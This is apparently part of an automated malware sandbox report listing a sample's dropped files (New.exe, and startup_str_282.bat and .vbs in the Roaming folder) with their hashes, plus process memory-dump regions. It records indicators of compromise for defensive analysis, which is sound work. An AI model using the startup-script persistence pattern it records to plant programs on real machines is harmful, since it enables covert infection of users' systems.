                                                                                                                    564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\New.exe

                                                                                                                    Filesize

                                                                                                                    409KB

                                                                                                                    MD5

                                                                                                                    cf570b21f42f0ce411b7c9961068931e

                                                                                                                    SHA1

                                                                                                                    f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

                                                                                                                    SHA256

                                                                                                                    d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

                                                                                                                    SHA512

                                                                                                                    de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ds1nxa2o.p1x.ps1

                                                                                                                    Filesize

                                                                                                                    60B

                                                                                                                    MD5

                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                    SHA1

                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                    SHA256

                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                    SHA512

                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                  • C:\Users\Admin\AppData\Roaming\startup_str_282.bat

                                                                                                                    Filesize

                                                                                                                    1002KB

                                                                                                                    MD5

                                                                                                                    f6d5bfaee8a55ff72c7b453fda066d62

                                                                                                                    SHA1

                                                                                                                    7d737d53013990e5d05076b7206e43eb4793fc7f

                                                                                                                    SHA256

                                                                                                                    3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

                                                                                                                    SHA512

                                                                                                                    e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

                                                                                                                  • C:\Users\Admin\AppData\Roaming\startup_str_282.vbs

                                                                                                                    Filesize

                                                                                                                    115B

                                                                                                                    MD5

                                                                                                                    893f6816e0656f1828bdb7363d629828

                                                                                                                    SHA1

                                                                                                                    c190617a704471de3d551ade7e681617c1a47feb

                                                                                                                    SHA256

                                                                                                                    c73a511bb998786697d0b3a556e614c50eb82cd5cd51dfa8d16386286c505eb0

                                                                                                                    SHA512

                                                                                                                    357d1683dae3e23b9aceb7f99914dd1ffed99d63e66c57b026c01ca1982e030acc5266a42fdb4d79ca26214f98066f6e381fab162a14065df736c3b815771ab9

                                                                                                                  • memory/472-162-0x00000208C8390000-0x00000208C83BA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/472-167-0x00000208C8390000-0x00000208C83BA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/472-168-0x00007FFD57F30000-0x00007FFD57F40000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/644-138-0x00007FFD57F30000-0x00007FFD57F40000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/644-131-0x000002CCCFC30000-0x000002CCCFC5A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/644-137-0x000002CCCFC30000-0x000002CCCFC5A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/644-132-0x000002CCCFC30000-0x000002CCCFC5A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/644-130-0x000002CCCFC00000-0x000002CCCFC25000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    148KB

                                                                                                                  • memory/700-142-0x000002E63A800000-0x000002E63A82A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/700-148-0x00007FFD57F30000-0x00007FFD57F40000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/700-147-0x000002E63A800000-0x000002E63A82A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/760-178-0x00007FFD57F30000-0x00007FFD57F40000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/760-177-0x0000022ADDFB0000-0x0000022ADDFDA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/760-172-0x0000022ADDFB0000-0x0000022ADDFDA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/896-26-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-37-0x0000000070830000-0x000000007087C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    304KB

                                                                                                                  • memory/896-48-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-47-0x0000000007920000-0x00000000079C4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    656KB

                                                                                                                  • memory/896-49-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-50-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-51-0x0000000007AE0000-0x0000000007AEA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    40KB

                                                                                                                  • memory/896-52-0x0000000007CF0000-0x0000000007D86000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    600KB

                                                                                                                  • memory/896-53-0x0000000007C80000-0x0000000007C91000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    68KB

                                                                                                                  • memory/896-54-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-57-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-46-0x0000000007900000-0x000000000791E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    120KB

                                                                                                                  • memory/896-36-0x00000000078C0000-0x00000000078F4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    208KB

                                                                                                                  • memory/896-35-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/896-25-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/1008-158-0x00007FFD57F30000-0x00007FFD57F40000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/1008-152-0x000002ABF98C0000-0x000002ABF98EA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/1008-157-0x000002ABF98C0000-0x000002ABF98EA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/1200-127-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/1200-118-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/1200-117-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/1200-119-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/1200-125-0x00007FFD97EA0000-0x00007FFD980A9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/1200-126-0x00007FFD97A20000-0x00007FFD97ADD000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    756KB

                                                                                                                  • memory/1200-120-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/1200-122-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/1220-115-0x00007FFD97EA0000-0x00007FFD980A9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/1220-116-0x00007FFD97A20000-0x00007FFD97ADD000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    756KB

                                                                                                                  • memory/1220-114-0x0000025F766B0000-0x0000025F766DA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/1220-101-0x0000025F76620000-0x0000025F76642000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    136KB

                                                                                                                  • memory/2084-112-0x0000000008A60000-0x0000000008A6A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    40KB

                                                                                                                  • memory/2084-110-0x000000000A910000-0x000000000A94C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    240KB

                                                                                                                  • memory/2084-100-0x0000000008450000-0x0000000008462000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    72KB

                                                                                                                  • memory/2084-80-0x0000000008830000-0x00000000088C2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    584KB

                                                                                                                  • memory/2084-79-0x0000000008700000-0x000000000876C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    432KB

                                                                                                                  • memory/3100-91-0x00000000003C0000-0x000000000042C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    432KB

                                                                                                                  • memory/5060-0-0x000000007464E000-0x000000007464F000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/5060-20-0x0000000007FF0000-0x000000000800A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    104KB

                                                                                                                  • memory/5060-19-0x0000000008670000-0x0000000008CEA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    6.5MB

                                                                                                                  • memory/5060-18-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    304KB

                                                                                                                  • memory/5060-17-0x0000000005E70000-0x0000000005E8E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    120KB

                                                                                                                  • memory/5060-16-0x0000000005980000-0x0000000005CD7000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    3.3MB

                                                                                                                  • memory/5060-21-0x0000000007F80000-0x0000000007F88000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/5060-5-0x00000000058A0000-0x0000000005906000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    408KB

                                                                                                                  • memory/5060-6-0x0000000005910000-0x0000000005976000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    408KB

                                                                                                                  • memory/5060-7-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/5060-4-0x00000000050B0000-0x00000000050D2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    136KB

                                                                                                                  • memory/5060-2-0x0000000005180000-0x00000000057AA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    6.2MB

                                                                                                                  • memory/5060-3-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/5060-1-0x0000000002AE0000-0x0000000002B16000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    216KB

                                                                                                                  • memory/5060-22-0x00000000080F0000-0x00000000081E2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    968KB

                                                                                                                  • memory/5060-96-0x0000000074640000-0x0000000074DF1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/5060-23-0x000000000A2A0000-0x000000000A846000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    5.6MB